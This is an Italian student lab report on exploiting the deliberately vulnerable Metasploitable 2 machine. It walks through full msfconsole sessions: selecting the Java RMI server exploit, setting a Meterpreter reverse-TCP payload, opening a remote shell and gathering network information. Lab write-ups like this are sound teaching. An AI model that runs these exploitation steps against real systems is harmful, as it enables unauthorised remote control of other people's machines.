Attacco alla macchina Metasploitable 2

Data: 17 Aprile 2026

Studente: Damiano Di Biase

Obiettivo: Ottenere l'accesso remoto alla macchina metasploiable2 attraverso msfconsole e raccogliere informazioni di rete.

1. Ricerca della vulnerabilità

Per prima cosa, abbiamo cercato un modo per entrare nel sistema. Sapendo che la macchina aveva il servizio **Java RMI** attivo sulla porta 1099, abbiamo usato il comando `search java_rmi` su Metasploit per trovare l'exploit giusto.

```
msf > search java_rmi

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry        .                normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server        2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2    \_ target: Generic (Java Payload)       .                .          .      .
   3    \_ target: Windows x86 (Native Payload) .                .          .      .
   4    \_ target: Linux x86 (Native Payload)   .                .          .      .
   5    \_ target: Mac OS X PPC (Native Payload) .               .          .      .
   6    \_ target: Mac OS X x86 (Native Payload) .               .          .      .
   7  auxiliary/scanner/misc/java_rmi_server    2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   8  exploit/multi/browser/java_rmi_connection_impl  2010-03-31  excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation


Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf > use 1
```

2. Configurazione dell'attacco

Dopo aver selezionato l'exploit, abbiamo dovuto configurarlo. Abbiamo impostato l'indirizzo IP della vittima (RHOST) e il nostro indirizzo IP (LHOST) per ricevere la connessione indietro. Abbiamo scelto un payload di tipo **Meterpreter**, che ci permette di inviare comandi avanzati

alla macchina colpita.

```
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)



View the full module info with the info, or info -d command.

msf exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
```

3. Accesso al sistema (Exploitation)

Abbiamo lanciato il comando `run`. In pochi secondi, l'exploit ha funzionato e si è aperta una sessione remota: eravamo dentro la macchina! Abbiamo provato a lanciare uno script automatico (`run scraper`) per raccogliere dati, ma il sistema ci ha dato un errore di

compatibilità, quindi abbiamo proceduto manualmente.

```
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/kBb5sQbc
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:46184) at 2026-04-17 04:41:18 -0400

meterpreter > run scraper
[*] New session on 192.168.11.112:1099 ...
[-] This version of Meterpreter is not supported with this Script!
meterpreter > ipconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fefb:c108
IPv6 Netmask : ::
```

4. Raccolta delle evidenze di rete

Una volta dentro, come richiesto dall'esercizio, abbiamo raccolto le informazioni sulla rete della vittima usando due comandi specifici:

A) Configurazione IP

Con il comando `ipconfig` abbiamo visto che la macchina ha un indirizzo IP **192.168.11.112** sulla scheda di rete principale (eth0).

B) Tabella di Routing

Con il comando `route` abbiamo controllato come la macchina gestisce il traffico. Abbiamo visto che comunica correttamente all'interno della sua rete locale.

```
meterpreter > route

IPv4 network routes
===================

    Subnet          Netmask        Gateway  Metric  Interface
    ------          -------        -------  ------  ---------
    127.0.0.1       255.0.0.0      0.0.0.0
    192.168.11.112  255.255.255.0  0.0.0.0


IPv6 network routes
===================

    Subnet                     Netmask  Gateway  Metric  Interface
    ------                     -------  -------  ------  ---------
    ::1                        ::       ::
    fe80::a00:27ff:fefb:c108   ::       ::
```

5. Conclusioni

Siamo riusciti a prendere il controllo della macchina Metasploitable 2 sfruttando una falla di Java. Usando Metasploitable 2, abbiamo toccato con mano quanto siano pericolosi i servizi configurati male o non aggiornati. Una falla in un servizio di sistema come Java RMI può dare a un attaccante il controllo totale della macchina in pochi secondi.